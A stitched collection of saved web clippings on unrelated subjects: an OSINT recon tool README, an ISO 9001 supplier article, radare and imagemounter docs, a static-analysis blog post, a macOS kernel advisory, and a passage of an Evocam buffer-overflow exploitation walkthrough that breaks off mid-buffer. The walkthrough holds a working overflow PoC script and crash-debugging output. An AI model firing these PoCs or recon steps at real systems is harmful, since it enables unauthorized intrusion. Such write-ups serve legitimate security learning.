# XRAY

XRay is a tool for network OSINT gathering, its goal is to make some of the
initial tasks of information gathering and network mapping automatic.

<img
src='img/68747470733a2f2f7062732e7477696d672e636f6d2f6d656469612f444554626d4a425867414142594d702e6a70673a6c61726765.jpg'
width='888' height='309' alt='xray' />

## How Does it Work?

XRay is a very simple tool, it works this way:

  1. It'll bruteforce subdomains using a wordlist and DNS requests.
  2. For every subdomain/ip found, it'll use Shodan to gather open ports and other intel.
  3. If a ViewDNS API key is provided, for every subdomain historical data will be collected.
  4. For every unique ip address, and for every open port, it'll launch specific banner grabbers and info collectors.
  5. Eventually the data is presented to the user on the web ui.

**Grabbers and Collectors**

  * **HTTP** ` Server `, ` X-Powered-By ` and ` Location ` headers.
  * **HTTP** and **HTTPS** ` robots.txt ` disallowed entries.
  * **HTTPS** certificates chain \( with recursive subdomain grabbing from CN and Alt Names \).
  * **HTML** ` title ` tag.
  * **DNS** ` version.bind. ` and ` hostname.bind. ` records.
  * **MySQL** , **SMTP** , **FTP** , **SSH** , **POP** and **IRC** banners.

## Notes

**Shodan API Key**

The shodan.io API key parameter \( ` -shodan-key KEY ` \) is optional, however
if not specified, no service fingerprinting will be performed and a lot less
information will be shown \(basically it just gonna be DNS subdomain
enumeration\).

**ViewDNS API Key**

If a ViewDNS API key parameter \( ` -viewdns-key KEY ` \) is passed, domain
historical data will also be retrieved.

**Anonymity and Legal Issues**

The software will rely on your main DNS resolver in order to enumerate
subdomains, also, several connections might be directly established from your
host to the computers of the network you're scanning in order to grab banners
from open ports. Technically, you're just connecting to public addresses with
open ports \(and **there's no port scanning involved** , as such information
is grabbed indirectly using Shodan API\), but you know, someone might not like
such behaviour.

If I were you, I'd find a way to proxify the whole process ... \#justsaying

## Building a Docker image

To build a Docker image with the latest version of XRay:

[code]

    git clone https://github.com/evilsocket/xray.git
    cd xray
    docker build -t xraydocker .
    
[/code]

Once built, XRay can be started within a Docker container using the following:

[code]

    docker run --rm -it -p 8080:8080 xraydocker xray -address 0.0.0.0 -shodan-key shodan_key_here -domain example.com 
    
[/code]

## Manual Compilation

Make sure you are using **Go >= 1.7**, that your installation is working
properly, that you have set the ` $GOPATH ` variable and you have appended `
$GOPATH/bin ` to your ` $PATH `.

Then:

[code]

    go get github.com/evilsocket/xray
    cd $GOPATH/src/github.com/evilsocket/xray/
    make get_glide
    make install_dependencies
    make build
    
[/code]

If you see errors regarding a missing ` go-bindata ` binary, try the following
and then ` make build ` again:

[code]

    go get -u github.com/jteeuwen/go-bindata/...
    
[/code]

You'll find the executable in the ` build ` folder.

## Usage

[code]

    Usage: xray -shodan-key YOUR_SHODAN_API_KEY -domain TARGET_DOMAIN
    Options:
      -address string
            IP address to bind the web ui server to. (default "127.0.0.1")
      -consumers int
            Number of concurrent consumers to use for subdomain enumeration. (default 16)
      -domain string
            Base domain to start enumeration from.
      -port int
            TCP port to bind the web ui server to. (default 8080)
      -preserve-domain
            Do not remove subdomain from the provided domain name.
      -session string
            Session file name. (default "<domain-name>-xray-session.json")
      -shodan-key string
            Shodan API key.
      -viewdns-key string
            ViewDNS API key.
      -wordlist string
            Wordlist file to use for enumeration. (default "wordlists/default.lst")
    
[/code]

Example:

[code]

    # xray -shodan-key yadayadayadapicaboo... -viewdns-key foobarsomethingsomething... -domain fbi.gov
    
    ____  ___
    \   \/  /
     \     RAY v 1.0.0b
     /    by Simone 'evilsocket' Margaritelli
    /___/\  \
          \_/
    
    @ Saving session to fbi.gov-xray-session.json
    @ Web UI running on http://127.0.0.1:8080/
    
[/code]

## License

XRay was made with ♥ by Simone Margaritelli and it's released under the GPL 3
license.

The files in the ` wordlists ` folder have been taken from various open source
tools accross several weeks and I don't remember all of them. If you find the
wordlist of your project here and want to be mentioned, feel free to open an
issue or send a pull request.

  

# Evaluation and Reevaluation of Suppliers | Quality Digest
**Created:**| _1/29/2014 11:05:25 AM_  
---|---  
**Updated:**| _1/29/2014 11:05:25 AM_  
**Author:**| __  
**Tags:**| _auditing vendors standard compliance_  
  

# **E** valuation and Reevaluation of Suppliers****

### You decide who, what, and how a supplier directly affects the conformance
and the quality of your products and services**.**

The ISO 9001 standard’s requirements with regard to suppliers are very short
and concise but carry a lot of punch**.** These requirements can be very
deceiving and in fact are often misinterpreted and carried out poorly or
partially**.** By implementing the clause correctly, an organization will get
the full extent of the benefits sought out by the standard**.** I am going to
explain in this article the intent of the standard regarding suppliers and the
best way to accomplish supplier management**.**

### What the standard requires****

ISO 9001 standard requires that a supplier be evaluated, selected, and
reevaluated**.** Specific requirements related to the supplier’s evaluation
are found in two places:

  * **Subclause 7**.** 4 Purchasing**.**** The second paragraph requires the organization to evaluate and select suppliers based on their ability to supply product in accordance to the organization’s requirements**.** It adds that criteria for selection, evaluation, and reevaluation of suppliers be established, and that records of results and actions be maintained**.**
  * **Subclause 8.4 Analysis of data**.**** This subclause requires the organization to determine, collect, and analyze appropriate data regarding suppliers to demonstrate the suitability and effectiveness of the quality management system \(QMS\), and to evaluate where continual improvement can be made**.**

### Which suppliers are affected by the requirements**?**

There are two definitions to consider before we start discussing further the
intent of the standard in regard to suppliers**.** One is defining which
suppliers are affected by the requirements of the standard, and the other is
defining the difference between vendors and suppliers**.**

The suppliers that are affected by the standard are those that affect product
or service conformance, or the quality of your products or services**.** I'm
not talking about suppliers that provide products or services that don't
affect the quality of your product or the quality of your own services**.**
Here are a few examples:

  * **Plastics**.**** Your suppliers will be those companies that provide the raw materials for you, such as PVC, resin, color pigment, calibration services, etc**.**
  * **Chemicals.** Your suppliers could provide oxygen, nitrogen, stabilizers, water, calibration services, transportation \(railroad\), storage \(warehouse\), etc**.**
  * **Banking services.** Your suppliers could be security personnel, internet service providers, larger banks, etc**.**

In the first case of plastics, the absence of one of your primary raw
materials would significantly affect the quality of your product; in fact, you
may not be able to provide the product at all**.** Similarly, in the case of
chemicals, the absence of water, for example, would be considered a critical
problem if your product requires cooling or heating provided by water**.** In
essence, the absence of these suppliers will make it harder for you to provide
the same quality product or service as required by the customer**.**

These few examples also illustrate that I'm not talking about suppliers of
coffee, food, office supplies, air conditioning, etc**.** Those would be
considered products or services that would not directly affect the quality of
your products or services**.** For example, in the absence of coffee or office
supplies, could your products still be manufactured**?** In the absence of air
conditioning, could you still provide your services**?** Of course. It could
be argued that coffee indirectly helps improve employees' performance in the
morning**.** It could also be argued that air conditioning helps employees
feel more comfortable while at work**.** To a certain extent, this could be
true. However, unless your product or service requires a controlled
environment, it will be up to you to consider your air conditioning repair
company in the supplier program**.** Essentially, these types of suppliers
affect your products or services indirectly and don't need to be included in
your supplier quality program**.**

The second aspect to remember here is that there is no difference between a
vendor and a supplier**.** Some companies use the term “vendor,” such as in
“vendor-approved list**.** ” Other companies call them “supplier,” such as in
“supplier-approved list**.** ” Vendor or suppliers are synonyms and therefore
interchangeable**.** I’ve seen some organizations call vendors those that
provide you with products, and suppliers those that provide you with service,
but that is not necessarily true**.** A vendor could supply a product or
service just as a supplier could**.**

### Criteria for evaluation of suppliers****

ISO 9001 requires organizations to define the criteria to evaluate
suppliers**.** The standard doesn't tell organizations how they should
evaluate their suppliers or even what good characteristics they should look
for in suppliers**.** You as an organization are going to determine what
characteristics a supplier needs to have, demonstrate, or maintain to become a
supplier for your company**.**

In establishing the criteria, you could consider for example some of the
following elements:

  * Quality history 
  * On-time delivery 
  * Size of the company 
  * Number of certifications the potential supplier possesses 
  * Whether they have a quality management system or not 
  * Whether they have documented procedure for the product/service they want to provide 
  * Financial stability 
  * Complaint history 

As you can see, the evaluation criteria can be long**.** That’s why many
organizations create some sort of survey or form in which they outline various
questions and are able to evaluate the supplier in multiple dimensions**.**
Some organizations consider ISO 9001 certification to be encompassing of
various characteristics, and therefore would evaluate the supplier based on
their ability to demonstrate that they are certified**.** That is a simple way
to evaluate suppliers and may be your initial criteria**.** However, as part
of the continuous improvement effort, you should seek criteria that will truly
determine which suppliers are more suitable to provide you with excellent
products and services**.**

Additional advice we give our clients is to first classify the suppliers**.**
If you have a multitude of suppliers and you implement a survey to evaluate
them, it will be very cumbersome to apply the same survey to 500
suppliers**.** If you segregate suppliers in levels \(Level 1, Level 2, Level
3, etc**.**\) based on how critical they are for your company, you may be able
to apply different controls to each supplier level and therefore evaluate each
category differently**.** For example, chemical companies may decide to
classify suppliers based primarily on raw materials providers, transport
carriers, warehouses, contractors, etc**.** In essence, you decide the
classification that is best for you and evaluate suppliers according to the
effect they have on your product or services—or simply put, in order of
importance**.**

### **Criteria for selection of suppliers******

Once the supplier evaluation criteria have been established and suppliers have
been evaluated using such criteria, the next step is to select the suppliers
based on the results of the evaluation**.** You as an organization are going
to determine how your suppliers are going to be selected**.** Questions you
may ask are:

  * Will one person be enough to approve any supplier or would you need two people**?**
  * Would an engineer’s signature be sufficient to approve any supplier or would you need a quality person also**?**
  * Would the chief finacncial officer or a representative from the finance department be needed to approve critical suppliers, along with the president, production manager, and quality manager**?**
  * Shall Level 1 suppliers be approved by a defined team of managers, while Levels 2 and 3 be approved by the hiring manager**?**

In the example of chemical companies, the organization may decide that
carriers get approved by the logistics manager, while providers of oxygen,
solvents, etc**.** , get approval by a representative from the quality
department in conjunction with a representative from operations and the plant
manager**.** Contractors may get approved by a representative from maintenance
along with a representative from engineering, or the head of engineering, if
you so desire**.**

In essence, you decide the controls that are needed to select and approve the
supplier**.** If you decided to segregate suppliers based on how critical they
are for your organization, then approval requirements would also be
commensurate according to the level of criticality**.** If you don't classify
the suppliers, then you still have task to decide how suppliers are selected
after evaluation is conducted**.**

### **Should approved suppliers be added to an approved supplier list**?****

You should be able to identify your approved suppliers, however, the use of an
approved supplier list or an approved vendor list is not mandatory**.**
Although some organizations may have a spreadsheet or other type of document
listing all of their approved suppliers, others may have their approved
suppliers as part of their material requirements planning \(MRP\) software,
purchasing software, etc**.** Therefore if the supplier is listed in the MRP,
then it means the supplier is approved**.**

Rather than trying to copy what other companies are doing, analyze what your
company uses before you embark on creating a document just for the ISO
standard’s purpose**.** If your purchases are done through an MRP system, then
having a spreadsheet with a list of approved suppliers will require additional
upkeep, such as updating the spreadsheet every time a new supplier is added or
deleted from the MRP**.** If your MRP software is not capable of telling you
who is approved, or who is active, or what level of criticality a certain
supplier has, then you may indeed need to maintain two documents**.** My
advice is to plan well before you create another document**.**

So with those two elements—evaluation and selection—you have covered one of
the requirements of subclause 7**.** 4 of ISO 9001. Unfortunately, many
organizations end here, not fulfilling the extent of the requirements**.**

### **Criteria for reevaluation of suppliers******

Once again, if you have a lot of suppliers and if you followed the advice of
segregating suppliers in levels or tiers, then reevaluation should be much
easier to accomplish**.** For example, you may decide that tier 1 critical
suppliers will be revaluated every month based on supplier corrective actions,
product returns, on-time delivery, or customer complaints related to the
supplier; tier 2 suppliers will be reevaluated once a year based on supplier
corrective actions; and tier 3 suppliers will be reevaluated every two years
based on product returns**.**

Although the criteria mentioned in the above example is not a survey, most
organizations will develop a survey that again, can combine various criteria
and measure the supplier in different dimensions**.** However, a survey is not
the only way to evaluate suppliers and in many cases is not even the optimum
way; the information you obtain from reevaluation could very well help you
with the requirement of analysis of data**.**

****

# Basic usage

**Created:**| _4/13/2011 7:42:36 AM_  
---|---  
**Updated:**| _4/13/2011 7:42:36 AM_  
**Author:**| __  
**Tags:**| _bookmark security tools reversing_  
  

# 1.7 Basic usage

Lot of people ping me some times for a sample usage session of radare to help
to understand how the shell works and how to perform the most common tasks
like disassembling, seeking, binary patching or debugging.

I hardly encourage you to read the rest of this book to help you understand
better how everything works and enhace your skills, the learning curve of
radare is usually a bit harder at the beggining, but after an hour of using it
you will easily understand how most of the things work and how to get them
cooperate together :\)

For walking thru the binary file you will use three different kind of basic
actions: seek, print and alterate.

To 'seek' there's an specific command abreviated as 's' than accepts an
expression as argument that can be something like '10', '+0x25' or
'\[0x100+ptr\_table\]'. If you are working with block-based files you may
prefer to set up the block size to 4K or the size required with the command
'b' and move forward or backward at seeks aligned to the block size using the
'>' and '<' commands.

The 'print' command aliased as 'p', accepts a second letter to specify the
print mode selected. The most common ones are 'px' for printing in
hexadecimal, 'pd' for disassembling.

To 'write' open the file with 'radare -w'. This should be specified while
opening the file, or just type 'eval file.write=true' in runtime to reopen the
file in read-write-mode. You can use the 'w' command to write strings or 'wx'
for hexpair strings:

[code]

    > w hello world         ; string
    > wx 90 90 90 90        ; hexpairs
    > wa jmp 0x8048140      ; assemble
    > wf inline.bin         ; write contents of file
    
[/code]

Appending a '?' to the command you will get the help message of it. \(p? for
example\)

Enter the visual mode pressing 'V<enter>', and return to the prompt using the
'q' key.

In the visual mode you should use hjkl keys which are the default ones for
scrolling \(like left,down,up,right\). So entering in cursor mode \('c'\) you
will be able select bytes if using the shift together with HJKL.

In the visual mode you can insert \(alterate bytes\) pressing 'i' and then
<tab> to switch between the hex or string column. Pressing 'q' in hex panel to
return into the visual mode.

# Identifying back doors, attack points, and surveillance mechanisms in iOS
devices - Zdziarski-iOS-DI-2014.pdf

**Created:**| _8/24/2014 8:01:22 PM_  
---|---  
**Updated:**| _8/24/2014 8:01:22 PM_  
**Author:**| __  
**Tags:**| _Mac-hacking backdoor_  
  
<img src='img/Zdziarski-iOS-DI-2014.pdf' />

# Simple Bug Finding Tools: Fugue \(I\) « Unintended Results

**Created:**| _8/9/2012 2:05:49 PM_  
---|---  
**Updated:**| _8/9/2012 2:05:49 PM_  
**Author:**| __  
**Tags:**| _llvm bughunting_  
  

## Simple Bug Finding Tools: Fugue \(I\)

It's been a while since I started writing, as a personal 'research' project, a
tool to automatically find bugs \(that could lead to vulnerabilities\)
performing static code analysis and, even when it will take a very long while
until I have something decent to release to the general public, I have some -I
hope interesting- thoughts about the tool I'm writing: **Fugue**.

This tool uses CLang as the parser \(as I do not have a rich uncle to get a
license for EDG\) and everything else is being written in Python: the
translator to convert the CLang AST to my internal representation, the
translator to convert other tools generated ASTs to that internal
representation, the builder of the CFG, the SSA code generator, etc... Its in
the very early stages at the moment but, more or less, it works for writing
very simple scanners, as in the following example.

**AST based checkers and 'one' bug from freetype2**

In my opinion, writing checkers to find bugs that aren't based on coding-style
traversing the AST is a wrong approach \(as in the AST we do not have a sense
of code paths, the AST just describes the syntax\). However, in some cases,
it's more than enough for writing very quick checkers without the need to
perform complex data flow analysis. Take for example the following bug from
freetype2:

diff --git a/src/base/ftstroke.c b/src/base/ftstroke.c

  1. index 5399efe..f488e03 100644
  2. \--- a/src/base/ftstroke.c
  3. +++ b/src/base/ftstroke.c
  4. @@ -789,7 +789,6 @@
  5. FT\_Stroker\_New\( FT\_Library library,
  6. FT\_Stroker \*astroker \)
  7. \{
  8. - FT\_Error error;
  9. FT\_Memory memory;
  10. FT\_Stroker stroker = NULL;
  11.   12. @@ -809,7 +808,7 @@
  13.   14. \*astroker = stroker;
  15.   16. - return error;
  17. + return FT\_Err\_Ok;
  18. \}

The developer declares a variable that is never initialized and returns the
value of it at the end of the function. It's a so basic error that even
traversing the AST we can easily catch that one. The following is the
interesting part of the simple checker I wrote in order to catch this bug:

\(...\)

  1. def checker\_step\(self, element\):
  2. if type\(element\) is asti.VarDecl:
  3. if element.init == None:
  4. self.locals\[element.name\] = element
  5. return
  6.   7. if element.name in self.locals:
  8. del self.locals\[element.name\]
  9. return
  10.   11. if type\(element\) is asti.ReturnStmt:
  12. if len\(element.children\) == 1:
  13. var = element.children\[0\].name
  14. if self.locals.has\_key\(var\):
  15. self.report\_bug\("returning uninitialized variable %s" % repr\(var\), element.position\)

When the checker is executed it catches variable declaration statements,
remembering the name of that variable. If that variable is, simply, referenced
somewhere in the function it's analysing, it forgets that variable \(it
considers it was initialized, even when it may not be the case\). Then, if the
tool finds a return statement with only one children expression and that one
is a variable it remembered before, then, the tool reports a bug \(the checker
isn't taking into account the possible code paths the program can follow but I
wrote this simply as a test of the framework I'm working on\).

Well so... I'm surprised that such a very basic checker actually finds a large
number of real bugs fulfilling this very same pattern in a code base widely
used, like is freetype2. When I wrote that checker to test my framework I
expected to catch only this specific occurrence of the error in the freetype's
code base \(the error at FT\_Stroker\_New\), however, many more bugs like this
appeared in the same code base:

[code]

    $ cd freetype2 && autofugue
    (...)
    BUG:./src/smooth/ftgrays.c:1998:gray_raster_new: returning uninitialized variable 'error'
    BUG:./src/cache/ftccmap.c:174:ftc_cmap_node_new: returning uninitialized variable 'error'
    BUG:./src/cache/ftcsbits.c:60:ftc_sbit_copy_bitmap: returning uninitialized variable 'error'
    BUG:./src/bzip2/ftbzip2.c:241:ft_bzip2_file_reset: returning uninitialized variable 'error'
    BUG:./src/gzip/ftgzip.c:351:ft_gzip_file_reset: returning uninitialized variable 'error'
    BUG:./src/lzw/ftlzw.c:166:ft_lzw_file_reset: returning uninitialized variable 'error'
    BUG:./src/pshinter/pshglob.c:702:psh_globals_new: returning uninitialized variable 'error'
    BUG:./src/base/ftutil.c:487:FT_QRealloc: returning uninitialized variable 'error'
    BUG:./src/base/ftutil.c:459:FT_QAlloc: returning uninitialized variable 'error'
    BUG:./src/base/ftutil.c:446:FT_Alloc: returning uninitialized variable 'error'
    BUG:./src/base/ftutil.c:473:FT_Realloc: returning uninitialized variable 'error'
    BUG:./src/base/ftstroke.c:812:FT_Stroker_New: returning uninitialized variable 'error'
    BUG:./src/base/ftobjs.c:308:ft_glyphslot_alloc_bitmap: returning uninitialized variable 'error'
    BUG:./src/base/ftobjs.c:4429:FT_New_Library: returning uninitialized variable 'error'
    BUG:./src/base/ftobjs.c:1422:ft_lookup_PS_in_sfnt_stream: returning uninitialized variable 'error'
    (...)
    
[/code]

I stripped many more references to this very same bug found with a dumb ass
AST based checker that I wrote in about 5 minutes. Why the freetype2
developers didn't check if the bug they fixed was in other parts of their code
base? I don't know, perhaps it's because of the lack of tools for performing
static analysis that are available for the general public and that grep'ing +
performing manual analysis is a tedious task.

**Conclussions**

When I started this project I doubted if it would be worth it or not: it's too
many work, I started practically from zero and I didn't know if, after all, it
would find real bugs in real code bases. However, I noticed that every time I
write a new checker \(even when they are too basic\) I always find bugs in
real code bases/binaries. This is a good way to get the necessary strength to
continue with this project <img src='img/9756_icon_wink.gif' alt=';)' />

Well, that's all for now\! I'll try to write, from time to time, more about
the framework I'm working on. Bye\!

# Using Virtio to Talk With Remote Processors | The Linux Foundation Video Site
**Created:**| _2/23/2012 10:00:26 PM_  
---|---  
**Updated:**| _2/23/2012 10:00:29 PM_  
**Author:**| __  
**Tags:**| _bookmark Linux Distributed systems_  
  

# Using Virtio to Talk With Remote Processors

# com\_apple\_AVEBridge::queryCompletion Invalid Read

**Created:**| _3/7/2018 8:45:24 AM_  
---|---  
**Updated:**| _3/7/2018 8:45:40 AM_  
**Author:**| _wishi_  
**Tags:**| _Mac-hacking_  
  

  

Product | Apple macOS 10.13.1  
---|---  
Severity | High  
CVE Reference | CVE-2017-13848  
Type | Memory Corruption  
# Description

The ‘com.apple.AVEBridge’ IOKit kernel extension was found to contain a
vulnerability when handling data passed from user space into the kernel.

# Impact

This vulnerability could be used to obtain kernel code execution on affected
systems.

# Cause

The kernel extension does not perform appropriate sanitisation of data passed
from user space.

# Interim Workaround

N/A

# Solution

Users should apply the released security update from Apple
\(https://support.apple.com/en-gb/HT208331\).

# Technical details

Please refer to the attached advisory.

# Disclosure Timeline

Date | Summary  
---|---  
2017-09-25 | Issue reported to vendor  
2017-12-06 | Vendor issues patch  
2018-01-19 | MWR Labs releases advisory   
  

# ralphje/imagemounter · GitHub

**Created:**| _5/22/2014 2:55:18 PM_  
---|---  
**Updated:**| _5/22/2014 2:55:18 PM_  
**Author:**| __  
**Tags:**| _security tools Forensics_  
  

# imagemounter

imagemounter is a command-line utility and Python package to ease the mounting
and unmounting of EnCase, Affuse and dd disk images. It supports mounting disk
images using xmount \(with optional RW cache\), affuse and ewfmount; detecting
DOS, BSD, Sun, Mac and GPT volume systems; mounting Ext, UFS, LUKS and NTFS
volumes; detecting \(nested\) LVM volume systems and mounting its subvolumes;
and reconstructing RAID arrays.

In its default mode, imagemounter will try to start mounting the base image on
a temporary mount point, detect the volume system and then mount each volume
seperately. If it fails finding a volume system, it will try to mount the
entire image as a whole if it succeeds in detecting what it actually is.

This package supports Python 2.6 and 2.7, and Python 3.2+. Versions before
1.5.0 depended on pytsk3, but 1.5.0 introduced the option to use the result of
the `mmls` command instead.

##  Documentation

Full documentation of this project is available from
http://imagemounter.readthedocs.org/ or in the `docs/` directory.

##  Installation

Just perform the following commands for a full install, including all optional
dependencies:

[code]

    apt-get install python-setuptools xmount ewf-tools afflib-tools sleuthkit lvm2 mdadm cryptsetup
    pip install imagemounter
    
[/code]

###  Python packages

This package does not require other packages, though _termcolor_ is
recommended and _pytsk3_ is needed if you wish to use this package for volume
detection.

##  Important notes

Not all combinations of file and volume systems have been tested. If you
encounter an issue, please try to change some of your arguments first, before
creating a new GitHub issue.

Please note that many Linux based operating systems will try to mount LVMs for
you. Although imagemounter tries to circumvent this automation, if you are
unable to properly unmount, you should try to unmount through the interface of
your OS first. Another useful command is `vgchange -a n` to disable all LVMs
currently active \(only use if you are not using a LVM for your own OS\!\).

With `imount --clear` you can clear MOST temporary files and mounts, though
this will not clean everything. If you used `--pretty` this tool can't do
anything for you. It is therefore recommended to first try and mount your
image without `--pretty`, to allow you to easily clean up if something
crashes.

# Evocam Remote Buffer Overflow on OSX

**Created:**| _6/4/2010 7:08:56 PM_  
---|---  
**Updated:**| _6/4/2010 7:08:56 PM_  
**Author:**| __  
**Tags:**| _Debugging Exploit Tutorials Mac-hacking awesome_  
  

## Exploitation Walkthrough

### Introduction

This guide comes from my own journey from finding a buffer overflow in an OS X
application to producing a working exploit. I have reasonably good exploit
development skills having completed the Penetration Testing with BackTrack and
Cracking the Perimeter training courses, and working on several buffer
overflow exploits. The majority of my exploit development skills are based
around Windows vulnerabilities and using the OllyDBG debugger.

After discovering a buffer overflow vulnerability in EvoCam, a WebCam
application on OS X, I thought it would be a good idea to try and develop an
exploit for it.

### Tools Used

Most of the tools used come bundled with OS X and are part of the development
environment Xcode which is an optional install which can be found on the
Operating System DVD.

I also used the Metasploit Framework which installs and runs easily on OS X.

Note: Set CrashReportPrefs to Server mode so you don’t keep receiving the
“Unexpectedly Quit” dialog every time vulnerable application crashes.

### Bug Discovery and PoC

The bug was initially discovered by using the bed fuzzer which comes as part
of BackTrack 4.

root@bt:/pentest/fuzzers/bed\# ./bed.pl  
  
BED 0.5 by mjm \( www.codito.de \) and eric \( www.snake-basket.de \)  
  
Usage:  
  
./bed.pl -s \[plugin\] -t \[target\] -p \[port\] -o \[timeout\] \[ depends on
the plugin \]  
  
\[plugin\] = FTP/SMTP/POP/HTTP/IRC/IMAP/PJL/LPD/FINGER/SOCKS4/SOCKS5  
  
\[target\] = Host to check \(default: localhost\)  
  
\[port\] = Port to connect to \(default: standard port\)  
  
\[timeout\] = seconds to wait after each test \(default: 2 seconds\)  
  
use "./bed.pl -s \[plugin\]" to obtain the parameters you need for the plugin.  
  
Only -s is a mandatory switch.

So for we set our Web Server IP and the non standard HTTP port, and we run
bed:

root@bt:/pentest/fuzzers/bed\# ./bed.pl -s HTTP -t 192.168.1.29 -p 8080  
  
BED 0.5 by mjm \( www.codito.de \) and eric \( www.snake-basket.de \)  
  
\+ Buffer overflow testing:  
  
testing: 1 HEAD XAXAX HTTP/1.0 ...........  
  
testing: 2 HEAD / XAXAX ...........  
  
testing: 3 GET XAXAX HTTP/1.0 ........connection attempt failed: Connection
refused

I used WireShark to capture the data sent between bed and EvoCam and used the
payload which caused the crash to develop a simple skeleton PoC python script.
Our initial PoC code to reproduce the overflow:

\#\!/usr/bin/python  
  
import socket  
  
BUFFER = "A"\*1800  
  
s=socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
  
connect=s.connect\(\('192.168.1.29',8080\)\)  
  
print \("Sending Payload\r\n"\)  
  
s.send\("GET " +BUFFER + " HTTP/1.0\r\n\r\n"\)  
  
s.close\(\)

We start the EvoCam process by double clicking on its icon and then attach
using to the process using gdb within a terminal session:

<img src='img/Temp2_2801.png' width='314' height='368' alt='paul evocam Evocam
Remote Buffer Overflow on OSX' />

We send our PoC and receive a crash which we catch in gdb. We don’t currently
have control of EIP but it looks like we have overwritten ECX which has caused
execution to stop because it is trying to read the contents of the memory that
ECX points to, which is currently set to 0×41414141 \(AAAA\) from our buffer.

$ gdb -p \`ps auxww | grep \[Evo\]Cam | awk \{'print $2'\}\`  
  
\(gdb\) c  
  
Continuing.  
  
Program received signal EXC\_BAD\_ACCESS, Could not access memory.  
  
Reason: KERN\_INVALID\_ADDRESS at address: 0x41414141  
  
\[Switching to process 989 thread 0x6137\]  
  
0x0004b675 in ExtractRequestedFileName \(\)  
  
\(gdb\) info registers  
  
eax 0x0 0  
  
ecx 0x41414141 1094795585  
  
edx 0x89940c 9016332  
  
ebx 0x4b573 308595  
  
esp 0xb01be480 0xb01be480  
  
ebp 0xb01bedf8 0xb01bedf8  
  
esi 0x899400 9016320  
  
edi 0x0 0  
  
eip 0x4b675 0x4b675  
  
eflags 0x10246 66118  
  
cs 0x17 23  
  
ss 0x1f 31  
  
ds 0x1f 31  
  
es 0x1f 31  
  
fs 0x1f 31  
  
gs 0x37 55  
  
\(gdb\) set disassembly-flavor intel  
  
\(gdb\) x /i $eip  
  
0x4b675 : mov eax,DWORD PTR \[ecx\]

### Exploit Development

Our next step is to replace our buffer of A’s with a pattern buffer created
using Metasploit’s pattern\_create.rb tool to help us pinpoint the exact part
of our buffer which is overwriting the ECX register. The updated script is:

\#\!/usr/bin/python  
  
import socket  
  
BUFFER =
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce'  
  
